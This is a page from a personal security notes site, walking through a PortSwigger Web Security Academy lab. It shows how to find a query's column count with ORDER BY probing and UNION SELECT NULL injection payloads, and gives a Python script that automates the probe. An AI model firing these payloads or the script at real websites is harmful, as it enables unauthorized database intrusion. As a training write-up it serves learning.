πŸ‘¨β€πŸ’»
Jawad's Notes
  • πŸ‘¨β€πŸ«INFOSEC
    • πŸ•ΈοΈWeb
      • Burp Suite: Setting Foxyproxy
      • XSS
      • Wappalyzer
      • Directory Traversal
      • LFI
        • PHP Wrappers
        • RFI
      • Reverse Shell
        • Command Injection Quick Tips
      • File Upload
      • WPScan
      • SQL Injection
        • Schemas
        • SQLmap
        • MSSQL
        • MySQL
        • PostgreSQL
    • πŸ”§Tools
      • Whois
      • DNSRecon
      • DNSenum
      • nslookup
      • Netcat
        • Powercat
      • Nmap
        • Nmap Scripting Engine
        • Test-NetConnection
        • Grep
      • Server Message Block (SMB)
      • SNMP
      • SMTP
      • ExifTool
      • Search Engine Hacking
      • Source Control Hacking
      • Nessus
      • Canarytokens
      • Qualys SSL Server Test
      • Security Headers
      • theHarvester
      • Shodan
      • Gobuster
        • Dirb
      • Searchsploit
      • Password Cracking
        • Hashcat
        • John The Ripper
        • Hydra
        • hashID
        • CPU vs GPU
    • 🐧Linux
      • Symbols
      • cat
      • curl
      • openvpn
      • tcpdump
      • Remote Desktop
      • SmbShare
      • Tmux
      • Convert Windows-style line endings (CRLF) to Unix-style (LF)
      • SSH
    • πŸ–₯️Macros in Office
    • 🍎Enhancing Your MacOS Terminal Experience
    • 🚩CTF
      • SQL Injection
        • WHERE clause allowing retrieval of hidden data
        • Allowing login bypass
        • UNION attack, determining the number of columns returned by the query
        • UNION attack, finding a column containing text
        • UNION attack, retrieving data from other tables
        • UNION attack, retrieving multiple values in a single column
        • Querying the database type and version on Oracle
Powered by GitBook
On this page
  • SQL Injection Union attacks
  • Description
  • Steps
  • Notes
  1. INFOSEC
  2. CTF
  3. SQL Injection

UNION attack, determining the number of columns returned by the query

PreviousAllowing login bypassNextUNION attack, finding a column containing text

Last updated 1 year ago

Lab #3 by PortSwigger Web Security Academy:

SQL Injection Union attacks

For a UNION query to work, two key requirements must be met:

  • The individual queries must return the same number of columns.

  • The data types in each column must be compatible between the individual queries.

Description

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

Steps

First, we need to determine the number of columns returned by the query. Let’s intercept the HTTP request when we filter on Gifts category and attempt a union SQL injection.

Checking with a single quote (') reveals that the application is vulnerable.

Order by 1, 2, and 3 doesn’t fail, but order by 4 fails, indicating that the query has only 3 columns.

Knowing that we have 3 columns, let’s replace the ORDER BY 3 with ' UNION SELECT NULL,NULL,NULL in order to solve the lab.

Now, let’s automate the attack using a Python script.


import requests  
import sys  
import urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}  
  
if __name__ == "__main__":  
  try:  
    url = sys.argv[1].strip()  
  except IndexError:  
    print("Usage: %s <url>, e.g www.example.com" % sys.argv[0])  
    sys.exit(-1)  

  path = "/filter?category=Gifts"  
  payload = "'+UNION+SELECT+NULL--" 

  for i in range(1, 10):  
    if i > 1:  
      payload = payload.replace('--', ',NULL--')    
    r = requests.get(url + path + payload, verify=False, proxies=proxies)  
    res = r.text  
    if "Internal Server Error" not in res:  
      print("The number of columns is " + str(i))  
      sys.exit(-1)  

  print("The SQLi attack was not successful, maybe the query returns more than 10 columns?")

Executing the above script returns an answer of 3 columns, consistent with what we observed in the manual test. Great!


> python3 sqli-lab03.py "https://0a110012045284bc8477151900160025.web-security-academy.net"

> The number of columns is 3

And we can confirm from Burp HTTP History that the SQL error no longer appears when we have 3 columns.

Notes

  • On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like: ' UNION SELECT NULL FROM DUAL--

  • The payloads described use the double-dash comment sequence -- to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment

To solve the lab, determine the number of columns returned by the query by performing a attack that returns an additional row containing null values.

πŸ‘¨β€πŸ«
🚩
SQL injection UNION
https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns